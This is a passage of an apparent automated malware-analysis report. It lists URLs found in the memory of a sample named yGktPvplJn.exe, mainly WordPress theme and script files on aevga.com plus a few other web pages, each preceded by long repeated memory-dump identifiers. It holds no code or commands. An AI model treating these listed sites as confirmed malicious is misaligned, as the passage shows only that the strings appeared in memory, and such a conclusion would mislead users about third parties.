00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/skins/default/style.css?ver=f2be1e56f264ae0e8c5e5b63
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/stroke-gap-icons-style.css?ver=f2be1e56f264ae0e8c5e5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/widget.css?ver=1.5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/framework/js/magnific/magnific-popup.css?ver=1.5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/framework/js/modernizr.custom.js?ver=f2be1e56f264ae0e8c5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/images/favicon.ico
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/style.css?ver=1.5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/tribe-events/custom.css?ver=1.5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-includes/css/dist/block-library/style.min.css?ver=f2be1e56f264ae0e8c5e5b633be885
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://assets.lolipop.jp/img/bnr/bnr_lolipop_ad_001.gif
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-alembic_ssb_series_1-77.html
